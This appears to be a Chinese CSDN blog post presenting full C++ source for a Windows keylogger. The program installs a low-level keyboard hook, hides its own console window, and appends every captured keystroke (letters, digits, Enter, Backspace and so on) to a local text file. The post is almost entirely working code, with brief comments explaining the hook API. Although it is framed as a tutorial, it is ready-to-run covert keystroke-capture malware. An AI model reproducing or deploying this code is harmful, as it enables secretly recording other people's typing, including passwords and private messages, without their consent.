C++键盘记录器

本文详细介绍了如何使用C++在Windows系统中通过设置低级键盘钩子(WH_KEYBOARD_LL)来监控键盘输入,并将按键信息记录到文件。作者展示了如何安装、处理和卸载键盘钩子,以及消息循环的处理方式。
摘要由CSDN通过智能技术生成
#include <windows.h>
#include<iostream>
#include <stdio.h>
#include <conio.h>
#include <fstream>  
#include<string>
using namespace std;

HHOOK keyboardHook = 0;		// 钩子句柄

LRESULT CALLBACK LowLevelKeyboardProc(
	_In_ int nCode,		// 规定钩子如何处理消息,小于 0 则直接 CallNextHookEx
	_In_ WPARAM wParam,	// 消息类型
	_In_ LPARAM lParam	// 指向某个结构体的指针,这里是 KBDLLHOOKSTRUCT(低级键盘输入事件)
) {
	KBDLLHOOKSTRUCT* ks = (KBDLLHOOKSTRUCT*)lParam;		// 包含低级键盘输入事件信息
	/*
	typedef struct tagKBDLLHOOKSTRUCT {
		DWORD     vkCode;		// 按键代号
		DWORD     scanCode;		// 硬件扫描代号,同 vkCode 也可以作为按键的代号。
		DWORD     flags;		// 事件类型,一般按键按下为 0 抬起为 128。
		DWORD     time;			// 消息时间戳
		ULONG_PTR dwExtraInfo;	// 消息附加信息,一般为 0。
	}KBDLLHOOKSTRUCT,*LPKBDLLHOOKSTRUCT,*PKBDLLHOOKSTRUCT;
	*/
	std::ofstream outfile("example.txt", std::ios::app);
	if (ks->flags == 128 || ks->flags == 129)
	{
		// 监控键盘
		std::string str;
		switch (ks->vkCode) {
		case 0x30: case 0x60:
			str = "0";
			break;
		case 0x31: case 0x61:
			str = "1";
			break;
		case 0x32: case 0x62:
			str = "2";
			break;
		case 0x33: case 0x63:
			str = "3";
			break;
		case 0x34: case 0x64:
			str = "4";
			break;
		case 0x35: case 0x65:
			str = "5";
			break;
		case 0x36: case 0x66:
			str = "6";
			break;
		case 0x37: case 0x67:
			str = "7";
			break;
		case 0x38: case 0x68:
			str = "8";
			break;
		case 0x39: case 0x69:
			str = "9";
			break;
		case 0x41:
			str = "A";
			break;
		case 0x42:
			str = "B";
			break;
		case 0x43:
			str = "C";
			break;
		case 0x44:
			str = "D";
			break;
		case 0x45:
			str = "E";
			break;
		case 0x46:
			str = "F";
			break;
		case 0x47:
			str = "G";
			break;
		case 0x48:
			str = "H";
			break;
		case 0x49:
			str = "I";
			break;
		case 0x4A:
			str = "J";
			break;
		case 0x4B:
			str = "K";
			break;
		case 0x4C:
			str = "L";
			break;
		case 0x4D:
			str = "M";
			break;
		case 0x4E:
			str = "N";
			break;
		case 0x4F:
			str = "O";
			break;
		case 0x50:
			str = "P";
			break;
		case 0x51:
			str = "Q";
			break;
		case 0x52:
			str = "R";
			break;
		case 0x53:
			str = "S";
			break;
		case 0x54:
			str = "T";
			break;
		case 0x55:
			str = "U";
			break;
		case 0x56:
			str = "V";
			break;
		case 0x57:
			str = "W";
			break;
		case 0x58:
			str = "X";
			break;
		case 0x59:
			str = "Y";
			break;
		case 0x5A:
			str = "Z";
			break;
		case 0x6A:
			str = "*";
			break;
		case 0x6B:
			str = "+";
			break;
		case 0x6D:
			str = "-";
			break;
		case 0x6E:
			str = ".";
			break;
		case 0x6F:
			str = "/";
			break;
		case 0x0D:
			str = "Enter";
			break;
		case 0xA0: case 0xA1:
			str = "Shift";
			break;
		case 0x08:
			str = "Backspace";
			break;
		case 0x20:
			str = "Space";
			break;
		}
		if (!outfile.is_open()) {
			std::cerr << "无法打开文件" << std::endl;
			return 1;
		}

		// 将字符串写入文件  
		outfile << str;

		// 关闭文件  
		outfile.close();
		//return 1;		// 使按键失效
	}

	// 将消息传递给钩子链中的下一个钩子
	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main()
{
	// 安装钩子

	HWND hwnd = GetForegroundWindow();
	if (hwnd) {
		ShowWindow(hwnd, SW_HIDE);
	}

	keyboardHook = SetWindowsHookEx(
		WH_KEYBOARD_LL,			// 钩子类型,WH_KEYBOARD_LL 为键盘钩子
		LowLevelKeyboardProc,	// 指向钩子函数的指针
		GetModuleHandleA(NULL),	// Dll 句柄
		NULL
	);
	if (keyboardHook == 0) { cout << "挂钩键盘失败" << endl; return -1; }

	//不可漏掉消息处理,不然程序会卡死
	MSG msg;
	while (1)
	{
		// 如果消息队列中有消息
		if (PeekMessageA(
			&msg,		// MSG 接收这个消息
			NULL,		// 检测消息的窗口句柄,NULL:检索当前线程所有窗口消息
			NULL,		// 检查消息范围中第一个消息的值,NULL:检查所有消息(必须和下面的同时为NULL)
			NULL,		// 检查消息范围中最后一个消息的值,NULL:检查所有消息(必须和上面的同时为NULL)
			PM_REMOVE	// 处理消息的方式,PM_REMOVE:处理后将消息从队列中删除
		)) {
			// 把按键消息传递给字符消息
			TranslateMessage(&msg);

			// 将消息分派给窗口程序
			DispatchMessageW(&msg);
		}
		else
			Sleep(0);    //避免CPU全负载运行
	}
	// 删除钩子
	UnhookWindowsHookEx(keyboardHook);

	return 0;
}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值